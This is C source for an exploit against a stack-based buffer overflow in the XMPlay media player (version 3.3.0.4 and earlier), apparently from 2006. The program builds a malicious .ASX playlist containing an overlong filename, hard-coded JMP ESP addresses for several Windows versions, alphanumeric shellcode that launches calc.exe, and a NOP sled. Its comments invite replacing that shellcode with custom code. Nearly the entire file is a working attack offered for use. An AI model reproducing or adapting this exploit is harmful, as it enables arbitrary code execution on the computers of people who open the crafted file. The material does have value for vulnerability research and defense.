/*
===================================================================
  0-day XMPlay 3.3.0.4 .ASX Filename Buffer Overflow Exploit
===================================================================
XMPlay 3.3.0.4 and lower experiance a stack-based buffer overflow when
loading malformed .ASX files

This merely executes CALC.exe but you could always add your own custom
shellcode (alpha2)

===============
ASX
<ASX VERSION="3">
<ENTRY>
    <REF HREF="file://[EXPLOIT HERE]"
</ENTRY>
</ASX>
===============


Reported Exploit Date: 11/21/2006

*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{

  FILE *Exploit;
  char buffer[512];

  /* Executes Calc.exe Alpha2 Shellcode Provided by Expanders <expanders[at]gmail[dot]com> */
  unsigned char scode[] =
  "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
  "YlHhQTs0s0c0LKcuwLLK1ls52Xs1JONkRofxNkcoUpUQZKCylK4tLKuQxnTqo0LYnLMTkpptUWiQ9ZdM"
  "5QO2JKZT5k2tUtUTPuKULKQOfDc1zKPfNkflrkNkSowlvaZKLK5LlKgqxkMYqL14wtYSFQkpcTNkQPtp"
  "LEiPd8VlNkqPVllKPp7lNMLK0htHjKuYnkMPnP7pc05PLKsXUlsovQxvU0PVOy9hlCo0SKRpsXhoxNip"
  "sPu8LX9nMZvnv79oM7sSU1rLsSdnu5rX3UuPA";



  char NOPSled[50];
  char tail[] = ".mid\x22\r\n";
  int JMP, x;

  printf("\n======================================================================\n");
  printf("XMPlay 3.3.0.4 and prior ASX Filename Buffer Overflow Exploit\n");
  printf("Discovered and Coded By: Greg Linares <GLinares.code[at]gmail[dot]com>\n");
  printf("Usage: %s <output ASX file> <JMP>\n", argv[0]);
  printf("\n JMP Options\n");
  printf("1 = English Windows XP SP 2 User32.dll <JMP ESP 0x77db41bc>\n");
  printf("2 = English Windows XP SP 1 User32.dll <JMP ESP 0x77d718fc>\n");
  printf("3 = English Windows 2003 SP0 and SP1 User32.dll <JMP ESP 0x77d74adc>\n");
  printf("4 = English Windows 2000 SP 4 User32.dll  <JMP ESP 0x77e3c256>\n");
  printf("====================================================================\n\n\n");


  if (argc < 2) {
    printf("Invalid Number Of Arguments\n");
    return 1;
  }


  Exploit = fopen(argv[1],"w");
    if ( !Exploit )
    {
        printf("\nCouldn't Open File!");
        return 1;
    }

  memset(buffer, 0, 505);
  memset(NOPSled, 0, 20);


  fputs("<ASX VERSION=\x22\x33\x22>\r\n<ENTRY>\r\n", Exploit);
  fputs("<REF HREF=\x22", Exploit);
  fputs("file://C:\\", Exploit);

  for (x=0;x<498;x++) {
    strcat(buffer, "A");
  }

  fputs(buffer, Exploit);
  if (atoi(argv[2]) <= 0) {
    JMP = 1;
  } else if (atoi(argv[2]) > 4) {
    JMP = 1;
  } else {
    JMP = atoi(argv[2]);
  }
  switch(JMP) {
    case 1:
      printf("Using English Windows XP SP2 JMP...\n");
      fputs("\xbc\x41\xdb\x77", Exploit);
      break;
    case 2:
      printf("Using English Windows XP SP1 JMP...\n");
      fputs("\xfc\x18\xd7\x77", Exploit);
      break;
    case 3:
      printf("Using English Windows 2003 SP0 & SP1 JMP...\n");
      fputs("\xdc\x4a\xd7\x77", Exploit);
      break;
    case 4:
      printf("Using English Windows 2000 SP 4 JMP...\n");
      fputs("\x56\xc2\xe3\x77", Exploit);
      break;
  }

  fputs(scode, Exploit);

  for (x=0;x<20;x++) {
    strcat(NOPSled, "\x90");
  }

  fputs(NOPSled, Exploit);
  fputs(tail, Exploit);
  fputs("</ENTRY>\r\n</ASX>\r\n", Exploit);



  printf("Exploit Succeeded...\n Output File: %s\n\n", argv[1]);


  printf("Exploit Coded by Greg Linares (GLinares.code[at]gmail[dot]com)\n");
  printf("Greetz to: Jerome Athias and Expanders - Thanks For The Ideas, Tools and Alpha2 Shell Code\n");

  fclose(Exploit);
  return 0;
}